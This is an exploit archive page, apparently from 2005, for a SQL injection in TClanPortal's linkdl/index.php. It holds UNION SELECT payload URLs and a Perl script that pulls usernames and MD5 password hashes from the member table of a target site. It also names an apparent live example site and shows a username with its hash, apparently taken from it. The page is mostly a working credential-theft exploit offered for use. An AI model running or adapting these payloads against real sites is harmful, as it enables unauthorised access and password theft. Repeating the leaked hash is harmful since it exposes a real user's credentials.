[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : TClanPortal <= 1.1.3 (id) Remote SQL Injection Exploit
# Published : 2005-10-26
# Author : Devil-00
# Previous Title : Subdreamer 2.2.1 SQL Injection / Command Execution Exploit
# Next Title : PHP-Nuke 7.8 SQL Injection / Remote Command Execution Exploit


# TClanPortal Version 3 ..
# Search By Google :-
# by TriggerTG.de 2003 - Version 3
#
# Gr33tz :-
#         Abducter .. SQL Injection's FOunder   - | abducter_minds76@hotmail.com |-
#         Devil-00 .. SQL Injection's Exploting - | devil-00@s4a.cc | -
#         Security4Arab .. A'Where Home .. WE LOVE S4A FOR EVER :P
#         HACKERS PAL ..
#         Yes2Hack ..
#         WwW.Sqor.NeT
#         WwW.S4a.Cc
#         WwW.SecurityGurus.NeT
#
#
#
# This Injection's Whene Prefix = "";
#
# 1- SQL Injection
# /ClanPortal/linkdl/index.php?action=relatedlink&id=-1%20UNION%20SELECT%20pw,name,null,name,name,name%20FROM%20member%20%20WHERE%20id=1/*
# http://yahzee.ya.funpic.de/ClanPortal/
#
# Richard
# d38b89019f0496a4e67bfbe95cbcba0f    - MD5
#
# 2- SQL Injection
# /linkdl/index.php?action=bewerten&id=-1%20UNION%20SELECT%20pw,null,null%20FROM%20member%20%20WHERE%20id=1/*
# [!] GET Password
#
#
# /linkdl/index.php?action=bewerten&id=-1%20UNION%20SELECT%20name,null,null%20FROM%20member%20%20WHERE%20id=1/*
# [!] GET Username
#
# [!] Perl Code By Devil-00 | devil-00@s4a.cc |
#------------------------------------------------------------------------------------------------------------

use LWP::Simple;

print "nn==========================================n";
print "n= Exploit for TClanPortal Version 3            ";
print "n= Coded By Devil-00 | devil-00@s4a.cc |        ";
print "n= Gr33tz :-                                                            ";
print "n= Abducter .. SQL Injection's FOunder   - | abducter_minds76@hotmail.com |-            ";
print "n= Devil-00 .. SQL Injection's Exploting - | devil-00@s4a.cc | -        ";
print "n= Security4Arab .. A'Where Home .. WE LOVE S4A FOR EVER :P             ";
print "n= HACKERS PAL ..                                                       ";
print "n= Yes2Hack ..                                                          ";
print "n= WwW.Sqor.NeT                                                         ";
print "n= WwW.S4a.Cc                                                           ";
print "n= WwW.SecurityGurus.NeT                                        ";
print "n============================================nn";

if(!$ARGV[0] or !$ARGV[1]) {
  print "Usage:nperl $0 [Full-Path] [SQL Prefix] [User ID]nnExample:nperl $0 http://yahzee.ya.funpic.de/ClanPortal/ 1n";
  exit(0);
}
$url = "/linkdl/index.php?action=relatedlink&id=-1%20UNION%20SELECT%20pw,name,null,name,name,name%20FROM%20member%20%20WHERE%20id=$ARGV[1]/*";
$page = get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]n";
$page =~ m/<a href='(.*?)' target='_parent'>/ && print "[+] User ID is: $1n";
print "[-] Unable to retrieve User IDn" if(!$1);
$page =~ m/<b>Name:</b> <a href='index.php?action=kat&id=0'>(.*?)</a>/ && print "[+] MD5 hash of password is: $1n";
print "[-] Unable to retrieve hash of passwordn" if(!$1);

# www.Syue.com [2005-10-26]